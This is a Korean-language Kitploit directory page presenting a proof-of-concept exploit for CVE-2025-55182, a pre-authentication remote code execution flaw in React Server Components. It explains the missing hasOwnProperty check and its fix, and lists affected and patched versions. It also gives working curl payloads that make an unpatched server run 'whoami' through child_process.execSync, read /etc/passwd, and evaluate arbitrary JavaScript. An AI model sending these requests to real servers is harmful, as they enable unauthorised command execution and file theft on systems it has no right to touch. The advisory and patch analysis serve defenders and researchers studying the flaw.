Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182-realistic-poc — react-server-dom-webpack@19.0.0에서 누락된 `hasOwnProperty` 검사를 보여주는 실제 PoC | Kitploit
도구/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

[email protected]에서 누락된 `hasOwnProperty` 검사를 보여주는 실제 PoC

저장소 보기
119개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182: React Server Components RCE

[email protected]의 심각한 원격 코드 실행 취약점을 보여주는 최소한의 개념 증명입니다.

CVE-2025-55182란 무엇인가?

사전 인증 RCE 취약점으로, 취약한 react-server-dom-webpack 패키지(버전 19.0.0 ~ 19.2.0)를 사용하는 서버에서 공격자가 임의 코드를 실행할 수 있게 합니다.

CVSS 점수: 10 (심각)

영향을 받는 패키지

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

패치된 버전

  • 19.0.1, 19.1.2, 19.2.1

취약점

근본 원인: hasOwnProperty 확인 누락

취약점은 React의 Flight 프로토콜 구현 내 requireModule 함수에 존재합니다. 이 함수는 클라이언트 요청에서 받은 메타데이터를 기반으로 모듈 내보내기를 로드합니다.

취약한 코드 ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- No validation!
}

문제는 metadata[NAME]이 사용자 입력(HTTP 요청)에서 비롯된다는 점입니다. 공격자는 child_process#execSync와 같은 임의의 모듈 및 내보내기 이름을 지정할 수 있습니다.

수정 (PR #35277)

패치된 코드 ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // FIXED: Validate that the export actually exists
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

수정에서는 hasOwnProperty.call()을 추가하여 요청된 내보내기가 프로토타입 체인에서 상속되거나 위험한 모듈로 동적으로 해석될 수 있는 것이 아니라 모듈의 고유 속성인지 확인합니다.

공격 벡터

  1. 공격자가 서버 액션 엔드포인트에 조작된 HTTP POST 요청을 보냅니다.
  2. 페이로드에는 $ACTION_REF_0 및 $ACTION_0:0 필드가 포함됩니다.
  3. $ACTION_0:0에는 {"id":"child_process#execSync","bound":["whoami"]}가 포함됩니다.
  4. decodeAction이 이를 파싱하고 공격자가 제어하는 메타데이터로 requireModule을 호출합니다.
  5. requireModule이 require('child_process').execSync를 반환합니다.
  6. 함수가 공격자의 인수로 호출됩니다 → RCE

개념 증명

설정

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000

RCE 실행

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

예상 출력:

root@kitploit:~
{"success":true,"result":"your-username\n"}

기타 익스플로잇 예제

root@kitploit:~
# 파일 읽기
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# JavaScript 실행
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

작동 방식

decodeAction 흐름

root@kitploit:~
HTTP Request
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - Parses $ACTION_REF_0 to find action reference            │
│  - Parses $ACTION_0:0 to get {id, bound}                    │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (attacker controlled)      │
│  - bound = ["whoami"] (attacker controlled)                 │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - Splits "child_process#execSync" into:                    │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [VULNERABLE]   │
│  - Loads require("child_process")                           │
│  - Returns moduleExports["execSync"]                        │
│  - NO VALIDATION that "execSync" should be accessible       │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  →  EXECUTES "whoami" ON SERVER          │
└─────────────────────────────────────────────────────────────┘

참고 자료

  • React 보안 권고: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • GitHub PR #35277 (수정): https://github.com/facebook/react/pull/35277
  • CVE 기록: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Wiz 분석: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Next.js 권고: https://nextjs.org/blog/CVE-2025-66478

라이선스

MIT

도구 다운로드